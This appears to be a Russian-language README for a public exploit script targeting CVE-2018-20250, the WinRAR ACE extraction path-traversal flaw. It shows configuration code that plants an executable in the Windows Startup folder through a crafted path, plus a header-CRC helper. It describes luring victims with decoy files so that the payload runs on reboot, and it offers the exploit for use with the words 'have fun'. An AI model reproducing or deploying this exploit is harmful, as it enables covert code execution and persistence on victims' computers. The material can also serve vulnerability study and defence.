aeolustf/cve-2018-20250Эксплойт-скрипт для CVE-2018-20250, который автоматически создаёт вредоносные RAR-архивы для выполнения кода через уязвимость извлечения ACE-файлов в WinRAR.
эксплойт для Извлечения выполнения кода из WinRAR
poc от Ridter
как использовать?
вам просто нужно установить python 3.7, подготовить вредоносный файл, который вы хотите запустить, установить нужные значения, этот скрипт эксплойта автоматически сгенерирует вредоносный архивный файл!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
запустите эксплойт, эксплойт автоматически создаст test.rar
если жертва откроет test.rar, она увидит файлы hello.txt и world.txt, вы также можете добавить больше файлов, более привлекательных.
hi.exe, на самом деле это calc.exe. когда он перезагрузит компьютер, hi.exe запустится.
веселитесь! :)